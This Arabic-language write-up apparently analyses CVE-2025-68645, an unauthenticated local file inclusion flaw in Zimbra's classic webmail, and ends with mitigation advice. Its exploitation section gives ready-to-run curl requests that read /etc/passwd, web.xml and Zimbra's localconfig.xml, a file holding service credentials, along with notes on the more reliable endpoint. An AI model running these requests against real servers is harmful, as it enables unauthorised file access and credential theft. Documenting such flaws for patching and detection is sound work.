🛡️ CVE-2025-68645 - تحليل تضمين الملفات المحلية (LFI) في Zimbra

---

---

📌 نظرة عامة

يصف هذا المستند ثغرة تضمين الملفات المحلية (LFI) التي تؤثر على Zimbra Collaboration Suite.

تنشأ المشكلة بسبب معالجة غير صحيحة للمعامل التالي:

/h/*?javax.servlet.include.servlet_path=

يسمح ذلك لمستخدم غير مصادق بالوصول إلى موارد التطبيق الداخلية.

🔍 تفاصيل الثغرة

• النوع: تضمين الملفات المحلية (LFI)
• الوصول: غير مصادق
• المكون المتأثر: Webmail (الواجهة الكلاسيكية)
• ناقل الهجوم: التلاعب بطلبات HTTP

🧪 التحقق الأولي

طلب الاختبار:

curl -k "https://TARGET/h/rest?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

▶️ العرض التوضيحي:

✅ النتيجة

• تم استرجاع الملف الداخلي بنجاح
• يؤكد سوء معالجة الإدخال

⚙️ سلوك نقطة النهاية

تتعامل نقاط النهاية المتعددة مع المعامل الضعيف بشكل مختلف.

مثال:

/h/printcalendar?javax.servlet.include.servlet_path=...

ملاحظات:

• سلوك وصول أكثر اتساقًا للملفات
• موثوقية استجابة أفضل مقارنة بـ /h/rest

🚧 اعتبارات TLS

المشكلة

SSL: certificate subject name does not match target host

الحل البديل

curl -k "https://TARGET/..."

🚀 أمثلة الاستغلال

📂 الوصول إلى مورد ويب داخلي

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/WEB-INF/web.xml"

📂 محاولة الوصول إلى ملف النظام

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/etc/passwd"

🔐 الوصول إلى إعدادات التطبيق

curl -k "https://TARGET/h/printcalendar?javax.servlet.include.servlet_path=/opt/zimbra/conf/localconfig.xml"

التعرض المحتمل:

• بيانات اعتماد الخدمة
• الإعدادات الداخلية
• تفاصيل البنية التحتية

🧠 التأثير

قد يؤدي الاستغلال الناجح إلى:

• الكشف عن ملفات الإعدادات الحساسة
• كشف الخدمات والبنية الداخلية
• تسرب بيانات الاعتماد
• زيادة خطر الاختراق الإضافي

🛡️ التخفيف

• تحديث Zimbra إلى الإصدارات المصححة
• تقييد الوصول إلى نقاط النهاية الضعيفة
• مراقبة السجلات بحثًا عن معاملات مشبوهة:
  • javax.servlet.include.servlet_path
• نشر قواعد جدار حماية تطبيقات الويب (WAF) لمنع الأنماط الخبيثة

💡 الوجبات الرئيسية

• يمكن أن تؤدي فشل التحقق من الإدخال إلى كشف الموارد الداخلية
• قد تتصرف نقاط النهاية المختلفة بشكل غير متسق
• غالبًا ما تحتوي ملفات الإعدادات على معلومات حساسة
• الكشف المبكر يقلل المخاطر بشكل كبير

🏴 الخلاصة

• الثغرة مؤكدة: CVE-2025-68645
• الاستغلال يسمح بالوصول غير المصرح به للملفات
• يوصى بشدة بالمعالجة الفورية